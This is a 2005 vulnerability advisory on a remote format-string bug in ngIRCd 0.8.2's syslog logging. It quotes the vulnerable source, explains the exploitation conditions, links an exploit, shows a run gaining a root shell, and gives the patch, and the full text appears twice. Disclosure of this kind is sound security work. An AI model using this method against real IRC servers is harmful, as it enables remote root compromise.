CoKi
03/02/05, 21:55
-------------------------------------------------
No System Group - Advisory #11 - 03/02/05
-------------------------------------------------
Program: ngIRCd
Homepage: http://arthur.ath.cx/~alex/ngircd/
Operating System: Linux and Unix-Compatible
Vulnerable Versions: ngIRCd v0.8.2 and prior
Risk: High
Impact: Remote Format String Vulnerability
-------------------------------------------------
- DESCRIPTION
-------------------------------------------------
ngIRCd is a portable IRC daemon written from scratch.
It is easy to configure, supports server links (even
with original ircds) and runs on hosts with changing
IP addresses (such as dial-in networks). Currently
supported platforms are AIX, A/UX, Darwin/Mac OS X,
FreeBSD, HP-UX, IRIX, Linux, NetBSD, SunOS/Solaris,
and Windows with Cygwin.
More informations at: http://arthur.ath.cx/~alex/ngircd/
- DETAILS
-------------------------------------------------
Exist a format string bug in the Log_Resolver() function
of log.c when parses erroneous arguments to the syslog()
function. This may give a remote shell with privileges of
ngIRCd, it's 'root' by default.
----------- log.c ------------
261: vsnprintf( msg, MAX_LOG_MSG_LEN, Format, ap );
262: va_end( ap );
263:
264: /* Output */
265: if( NGIRCd_NoDaemon )
266: {
267: /* Output to console */
268: fprintf( stdout, "[%d:%d] %s\n", (INT)getpid( ), Level, msg );
269: fflush( stdout );
270: }
271: #ifdef SYSLOG
272: else syslog( Level, msg );
273: #endif
----------- log.c ------------
Here we can look that exist a format string vulnerability
in 272 line of log.c
- EXPLOIT
-------------------------------------------------
To obtain a successful exploitation, we need that
ngIRCd has been compiled with IDENT, logging to
SYSLOG and DEBUG enabled.
We now will look a part of the code of resolve.c:
----------- resolve.c ------------
96: /* For sub-process */
97: pid = fork( );
98: if( pid > 0 )
99: {
100: /* Main process */
101: Log( LOG_DEBUG, "Resolver for %s created (PID %d).", inet_ntoa( Addr->sin_addr ), pid );
102: FD_SET( s->pipe[0], &Resolver_FDs );
103: if( s->pipe[0] > Conn_MaxFD ) Conn_MaxFD = s->pipe[0];
104: s->pid = pid;
105: s->stage = 0;
106: s->bufpos = 0;
107: return s;
108: }
[...]
230: #ifdef IDENTAUTH
231: /* Do "IDENT" (aka "AUTH") lookup and write result to parent */
232: Log_Resolver( LOG_DEBUG, "Doing IDENT lookup on socket %d ...", Sock );
233: res = ident_id( Sock, 10 );
234: Log_Resolver( LOG_DEBUG, "Ok, IDENT lookup on socket %d done: \"%s\"", Sock, res ? res : "" );
235:
236: /* Write IDENT result into pipe to parent */
237: len = strlen( res ? res : "" );
238: if( res != NULL ) res[len] = '\n';
239: len++;
240: if( (size_t)write( w_fd, res ? res : "\n", len ) != (size_t)len )
241: {
242: Log_Resolver( LOG_CRIT, "Resolver: Can't write to parent (IDENT): %s!", strerror( errno ));
243: close( w_fd );
244: }
245: free( res );
246: #endif
----------- resolve.c ------------
At 97 lines of resolve.c we can see that is
created a new process with fork() function,
this will allow us to obtain the exact address
of RET of automatic way without ircd dies.
We can see too that this process do IDENT lookup
when a host is connected to the ircd daemon,
and using the vulnerable function for logging
with syslog at 242 lines of this code.
I have written a code exploit that use this
method for obtain a root shell in the target.
http://www.nosystem.com.ar/exploits/ngircd_fsexp.c
root@servidor:/home/coki/audit# ./ngircd_fsexp -h victim -t 1 -o 10000
ngIRCd <= 0.8.2 remote format string exploit
by CoKi <coki@nosystem.com.ar>
host : victim
system : Slackware Linux 10.0
ircd version : ngircd-0.8.2.tar.gz
syslog GOT address : 0x08068094
verifying host : 10.0.0.2
trying RET address : 0x0806d710 (offset 10000)
building evil buffer : done!
running fake ident server : 0.0.0.0:113
connecting to ircd... : 10.0.0.2:6667 connected
waiting for answer... : 10.0.0.1:43260 connected
sending evil ident... : done!
checking for shell... : done!
[!] you have a shell :)
Linux victim 2.4.26 #29 Mon Jun 14 19:22:30 PDT 2004 i686 unknown unknown GNU/Linux
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(di sk),10(wheel),11(floppy)
- SOLUTIONS
-------------------------------------------------
The patch is included here:
--- src/ngircd/log.c 2004-06-26 06:06:27.000000000 -0300
+++ src/ngircd/log.c.patch 2005-02-02 12:53:33.000000000 -0300
@@ -269,7 +269,7 @@
fflush( stdout );
}
#ifdef SYSLOG
- else syslog( Level, msg );
+ else syslog( Level, "%s", msg );
#endif
} /* Log_Resolver */
- REFERENCES
-------------------------------------------------
http://www.nosystem.com.ar/advisories/advisory-11.txt
- CREDITS
-------------------------------------------------
Discovered by CoKi <coki@nosystem.com.ar>
No System Group - http://www.nosystem.com.ar
No System Group - Advisory #11 - 03/02/05
-------------------------------------------------
Program: ngIRCd
Homepage: http://arthur.ath.cx/~alex/ngircd/
Operating System: Linux and Unix-Compatible
Vulnerable Versions: ngIRCd v0.8.2 and prior
Risk: High
Impact: Remote Format String Vulnerability
-------------------------------------------------
- DESCRIPTION
-------------------------------------------------
ngIRCd is a portable IRC daemon written from scratch.
It is easy to configure, supports server links (even
with original ircds) and runs on hosts with changing
IP addresses (such as dial-in networks). Currently
supported platforms are AIX, A/UX, Darwin/Mac OS X,
FreeBSD, HP-UX, IRIX, Linux, NetBSD, SunOS/Solaris,
and Windows with Cygwin.
More informations at: http://arthur.ath.cx/~alex/ngircd/
- DETAILS
-------------------------------------------------
Exist a format string bug in the Log_Resolver() function
of log.c when parses erroneous arguments to the syslog()
function. This may give a remote shell with privileges of
ngIRCd, it's 'root' by default.
----------- log.c ------------
261: vsnprintf( msg, MAX_LOG_MSG_LEN, Format, ap );
262: va_end( ap );
263:
264: /* Output */
265: if( NGIRCd_NoDaemon )
266: {
267: /* Output to console */
268: fprintf( stdout, "[%d:%d] %s\n", (INT)getpid( ), Level, msg );
269: fflush( stdout );
270: }
271: #ifdef SYSLOG
272: else syslog( Level, msg );
273: #endif
----------- log.c ------------
Here we can look that exist a format string vulnerability
in 272 line of log.c
- EXPLOIT
-------------------------------------------------
To obtain a successful exploitation, we need that
ngIRCd has been compiled with IDENT, logging to
SYSLOG and DEBUG enabled.
We now will look a part of the code of resolve.c:
----------- resolve.c ------------
96: /* For sub-process */
97: pid = fork( );
98: if( pid > 0 )
99: {
100: /* Main process */
101: Log( LOG_DEBUG, "Resolver for %s created (PID %d).", inet_ntoa( Addr->sin_addr ), pid );
102: FD_SET( s->pipe[0], &Resolver_FDs );
103: if( s->pipe[0] > Conn_MaxFD ) Conn_MaxFD = s->pipe[0];
104: s->pid = pid;
105: s->stage = 0;
106: s->bufpos = 0;
107: return s;
108: }
[...]
230: #ifdef IDENTAUTH
231: /* Do "IDENT" (aka "AUTH") lookup and write result to parent */
232: Log_Resolver( LOG_DEBUG, "Doing IDENT lookup on socket %d ...", Sock );
233: res = ident_id( Sock, 10 );
234: Log_Resolver( LOG_DEBUG, "Ok, IDENT lookup on socket %d done: \"%s\"", Sock, res ? res : "" );
235:
236: /* Write IDENT result into pipe to parent */
237: len = strlen( res ? res : "" );
238: if( res != NULL ) res[len] = '\n';
239: len++;
240: if( (size_t)write( w_fd, res ? res : "\n", len ) != (size_t)len )
241: {
242: Log_Resolver( LOG_CRIT, "Resolver: Can't write to parent (IDENT): %s!", strerror( errno ));
243: close( w_fd );
244: }
245: free( res );
246: #endif
----------- resolve.c ------------
At 97 lines of resolve.c we can see that is
created a new process with fork() function,
this will allow us to obtain the exact address
of RET of automatic way without ircd dies.
We can see too that this process do IDENT lookup
when a host is connected to the ircd daemon,
and using the vulnerable function for logging
with syslog at 242 lines of this code.
I have written a code exploit that use this
method for obtain a root shell in the target.
http://www.nosystem.com.ar/exploits/ngircd_fsexp.c
root@servidor:/home/coki/audit# ./ngircd_fsexp -h victim -t 1 -o 10000
ngIRCd <= 0.8.2 remote format string exploit
by CoKi <coki@nosystem.com.ar>
host : victim
system : Slackware Linux 10.0
ircd version : ngircd-0.8.2.tar.gz
syslog GOT address : 0x08068094
verifying host : 10.0.0.2
trying RET address : 0x0806d710 (offset 10000)
building evil buffer : done!
running fake ident server : 0.0.0.0:113
connecting to ircd... : 10.0.0.2:6667 connected
waiting for answer... : 10.0.0.1:43260 connected
sending evil ident... : done!
checking for shell... : done!
[!] you have a shell :)
Linux victim 2.4.26 #29 Mon Jun 14 19:22:30 PDT 2004 i686 unknown unknown GNU/Linux
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(di sk),10(wheel),11(floppy)
- SOLUTIONS
-------------------------------------------------
The patch is included here:
--- src/ngircd/log.c 2004-06-26 06:06:27.000000000 -0300
+++ src/ngircd/log.c.patch 2005-02-02 12:53:33.000000000 -0300
@@ -269,7 +269,7 @@
fflush( stdout );
}
#ifdef SYSLOG
- else syslog( Level, msg );
+ else syslog( Level, "%s", msg );
#endif
} /* Log_Resolver */
- REFERENCES
-------------------------------------------------
http://www.nosystem.com.ar/advisories/advisory-11.txt
- CREDITS
-------------------------------------------------
Discovered by CoKi <coki@nosystem.com.ar>
No System Group - http://www.nosystem.com.ar